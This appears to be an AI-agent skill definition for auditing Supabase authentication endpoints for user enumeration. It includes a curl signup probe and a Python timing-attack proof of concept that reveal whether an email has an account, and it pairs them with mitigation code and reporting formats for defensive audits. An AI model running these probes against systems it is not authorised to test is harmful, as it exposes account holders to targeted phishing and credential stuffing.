supabase-audit-auth-users
Test for user enumeration vulnerabilities through various authentication endpoints.
Works with
---
name: supabase-audit-auth-users
description: Test for user enumeration vulnerabilities through various authentication endpoints.
license: MIT
---
# User Enumeration Audit
> π΄ **CRITICAL: PROGRESSIVE FILE UPDATES REQUIRED**
>
> You MUST write to context files **AS YOU GO**, not just at the end.
> - Write to `.sb-pentest-context.json` **IMMEDIATELY after each endpoint tested**
> - Log to `.sb-pentest-audit.log` **BEFORE and AFTER each test**
> - **DO NOT** wait until the skill completes to update files
> - If the skill crashes or is interrupted, all prior findings must already be saved
>
> **This is not optional. Failure to write progressively is a critical error.**
This skill tests for user enumeration vulnerabilities in authentication flows.
## When to Use This Skill
- To check if user existence can be detected
- To test login, signup, and recovery flows for information leakage
- As part of authentication security audit
- Before production deployment
## Prerequisites
- Supabase URL and anon key available
- Auth endpoints accessible
## What is User Enumeration?
User enumeration occurs when an application reveals whether a user account exists through:
| Vector | Indicator |
|--------|-----------|
| Different error messages | "User not found" vs "Wrong password" |
| Response timing | Fast for non-existent, slow for existing |
| Response codes | 404 vs 401 |
| Signup response | "Email already registered" |
## Why It Matters
| Risk | Impact |
|------|--------|
| Targeted attacks | Attackers know valid accounts |
| Phishing | Confirm targets have accounts |
| Credential stuffing | Reduce attack scope |
| Privacy | Reveal user presence |
## Tests Performed
| Endpoint | Test Method |
|----------|-------------|
| `/auth/v1/signup` | Try registering existing email |
| `/auth/v1/token` | Try login with various emails |
| `/auth/v1/recover` | Try password reset |
| `/auth/v1/otp` | Try OTP for various emails |
## Usage
### Basic Enumeration Test
```
Test for user enumeration vulnerabilities
```
### Test Specific Endpoint
```
Test login endpoint for user enumeration
```
## Output Format
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
USER ENUMERATION AUDIT
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Project: abc123def.supabase.co
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Signup Endpoint (/auth/v1/signup)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Test: POST with known existing email
Response for existing: "User already registered"
Response for new email: User object returned
Status: π P2 - ENUMERABLE
The response clearly indicates if an email is registered.
Exploitation:
```bash
curl -X POST https://abc123def.supabase.co/auth/v1/signup \
-H "apikey: [anon-key]" \
-H "Content-Type: application/json" \
-d '{"email": "target@example.com", "password": "test123"}'
# If user exists: {"msg": "User already registered"}
# If new user: User created or confirmation needed
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Login Endpoint (/auth/v1/token)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Test: POST with different email scenarios
Existing email, wrong password:
βββ Response: {"error": "Invalid login credentials"}
βββ Time: 245ms
βββ Code: 400
Non-existing email:
βββ Response: {"error": "Invalid login credentials"}
βββ Time: 52ms β Significantly faster!
βββ Code: 400
Status: π P2 - ENUMERABLE VIA TIMING
Although the error message is the same, the response
time is noticeably different:
βββ Existing user: ~200-300ms (password hashing)
βββ Non-existing: ~50-100ms (no hash check)
Timing Attack PoC:
```python
import requests
import time
def check_user(email):
start = time.time()
requests.post(
'https://abc123def.supabase.co/auth/v1/token',
params={'grant_type': 'password'},
json={'email': email, 'password': 'wrong'},
headers={'apikey': '[anon-key]'}
)
elapsed = time.time() - start
return elapsed > 0.15 # Threshold
exists = check_user('target@example.com')
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Password Recovery (/auth/v1/recover)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Test: POST recovery request for different emails
Existing email:
βββ Response: {"message": "Password recovery email sent"}
βββ Time: 1250ms (email actually sent)
βββ Code: 200
Non-existing email:
βββ Response: {"message": "Password recovery email sent"}
βββ Time: 85ms β Much faster (no email sent)
βββ Code: 200
Status: π P2 - ENUMERABLE VIA TIMING
Same message, but timing reveals existence.
Existing users trigger actual email sending (~1s+).
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Magic Link / OTP (/auth/v1/otp)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Test: Request OTP for different emails
Existing email:
βββ Response: {"message": "OTP sent"}
βββ Time: 1180ms
βββ Code: 200
Non-existing email:
βββ Response: {"error": "User not found"}
βββ Time: 95ms
βββ Code: 400
Status: π΄ P1 - DIRECTLY ENUMERABLE
The error message explicitly states user doesn't exist.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Summary
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Endpoints Tested: 4
Enumerable: 4 (100%)
Vulnerability Severity:
βββ π΄ P1: OTP endpoint (explicit message)
βββ π P2: Signup endpoint (explicit message)
βββ π P2: Login endpoint (timing attack)
βββ π P2: Recovery endpoint (timing attack)
Overall User Enumeration Risk: HIGH
An attacker can determine if any email address
has an account in your application.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Mitigation Recommendations
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1. CONSISTENT RESPONSES
Return identical messages for all scenarios:
"If an account exists, you will receive an email"
2. CONSISTENT TIMING
Add artificial delay to normalize response times:
```typescript
const MIN_RESPONSE_TIME = 1000; // 1 second
const start = Date.now();
// ... perform auth operation ...
const elapsed = Date.now() - start;
await new Promise(r => setTimeout(r,
Math.max(0, MIN_RESPONSE_TIME - elapsed)
));
return response;
```
3. RATE LIMITING
Already enabled: 3/hour per IP
Consider per-email rate limiting too.
4. CAPTCHA
Add CAPTCHA for repeated attempts:
- After 3 failed logins
- For password recovery
- For signup
5. MONITORING
Alert on enumeration patterns:
- Many requests with different emails
- Sequential email patterns (user1@, user2@, ...)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
## Timing Analysis
The skill measures response times to detect timing-based enumeration:
```
Existing user:
βββ Password hash verification: ~200-300ms
βββ Email sending: ~1000-2000ms
βββ Database lookup: ~5-20ms
Non-existing user:
βββ No hash verification: 0ms
βββ No email sending: 0ms
βββ Database lookup: ~5-20ms (not found)
```
Threshold detection:
- Difference > 100ms: Possible timing leak
- Difference > 500ms: Definite timing leak
## Context Output
```json
{
"user_enumeration": {
"timestamp": "2025-01-31T13:30:00Z",
"endpoints_tested": 4,
"vulnerabilities": [
{
"endpoint": "/auth/v1/otp",
"severity": "P1",
"type": "explicit_message",
"existing_response": "OTP sent",
"missing_response": "User not found"
},
{
"endpoint": "/auth/v1/signup",
"severity": "P2",
"type": "explicit_message",
"existing_response": "User already registered",
"missing_response": "User created"
},
{
"endpoint": "/auth/v1/token",
"severity": "P2",
"type": "timing_attack",
"existing_time_ms": 245,
"missing_time_ms": 52
},
{
"endpoint": "/auth/v1/recover",
"severity": "P2",
"type": "timing_attack",
"existing_time_ms": 1250,
"missing_time_ms": 85
}
]
}
}
```
## Mitigation Code Examples
### Consistent Response Time
```typescript
// Edge Function with normalized timing
const MIN_RESPONSE_TIME = 1500; // 1.5 seconds
Deno.serve(async (req) => {
const start = Date.now();
try {
// Perform actual auth operation
const result = await handleAuth(req);
// Normalize response time
const elapsed = Date.now() - start;
await new Promise(r => setTimeout(r,
Math.max(0, MIN_RESPONSE_TIME - elapsed)
));
return new Response(JSON.stringify(result));
} catch (error) {
// Same timing for errors
const elapsed = Date.now() - start;
await new Promise(r => setTimeout(r,
Math.max(0, MIN_RESPONSE_TIME - elapsed)
));
// Generic error message
return new Response(JSON.stringify({
message: "Check your email if you have an account"
}));
}
});
```
### Generic Error Messages
```typescript
// Don't reveal user existence
async function requestPasswordReset(email: string) {
// Always return success message
const response = {
message: "If an account with that email exists, " +
"you will receive a password reset link."
};
// Perform actual reset in background (don't await)
supabase.auth.resetPasswordForEmail(email).catch(() => {});
return response;
}
```
## MANDATORY: Progressive Context File Updates
β οΈ **This skill MUST update tracking files PROGRESSIVELY during execution, NOT just at the end.**
### Critical Rule: Write As You Go
**DO NOT** batch all writes at the end. Instead:
1. **Before testing each endpoint** β Log the action to `.sb-pentest-audit.log`
2. **After each timing measurement** β Immediately update `.sb-pentest-context.json`
3. **After each enumeration vector found** β Log the finding immediately
This ensures that if the skill is interrupted, crashes, or times out, all findings up to that point are preserved.
### Required Actions (Progressive)
1. **Update `.sb-pentest-context.json`** with results:
```json
{
"user_enumeration": {
"timestamp": "...",
"endpoints_tested": 4,
"vulnerabilities": [ ... ]
}
}
```
2. **Log to `.sb-pentest-audit.log`**:
```
[TIMESTAMP] [supabase-audit-auth-users] [START] Testing user enumeration
[TIMESTAMP] [supabase-audit-auth-users] [FINDING] P1: OTP endpoint enumerable
[TIMESTAMP] [supabase-audit-auth-users] [CONTEXT_UPDATED] .sb-pentest-context.json updated
```
3. **If files don't exist**, create them before writing.
**FAILURE TO UPDATE CONTEXT FILES IS NOT ACCEPTABLE.**
## MANDATORY: Evidence Collection
π **Evidence Directory:** `.sb-pentest-evidence/05-auth-audit/enumeration-tests/`
### Evidence Files to Create
| File | Content |
|------|---------|
| `enumeration-tests/login-timing.json` | Login endpoint timing analysis |
| `enumeration-tests/recovery-timing.json` | Recovery endpoint timing |
| `enumeration-tests/otp-enumeration.json` | OTP endpoint message analysis |
### Evidence Format
```json
{
"evidence_id": "AUTH-ENUM-001",
"timestamp": "2025-01-31T11:00:00Z",
"category": "auth-audit",
"type": "user_enumeration",
"tests": [
{
"endpoint": "/auth/v1/token",
"test_type": "timing_attack",
"severity": "P2",
"existing_user_test": {
"email": "[KNOWN_EXISTING]@example.com",
"response_time_ms": 245,
"response": {"error": "Invalid login credentials"}
},
"nonexisting_user_test": {
"email": "definitely-not-exists@example.com",
"response_time_ms": 52,
"response": {"error": "Invalid login credentials"}
},
"timing_difference_ms": 193,
"result": "ENUMERABLE",
"impact": "Can determine if email has account via timing"
},
{
"endpoint": "/auth/v1/otp",
"test_type": "explicit_message",
"severity": "P1",
"existing_user_response": {"message": "OTP sent"},
"nonexisting_user_response": {"error": "User not found"},
"result": "ENUMERABLE",
"impact": "Error message explicitly reveals user existence"
}
],
"curl_commands": [
"# Timing test - existing user\ntime curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"existing@example.com\", \"password\": \"wrong\"}'",
"# Timing test - non-existing user\ntime curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"nonexistent@example.com\", \"password\": \"wrong\"}'"
]
}
```
## Related Skills
- `supabase-audit-auth-config` β Full auth configuration
- `supabase-audit-auth-signup` β Signup flow testing
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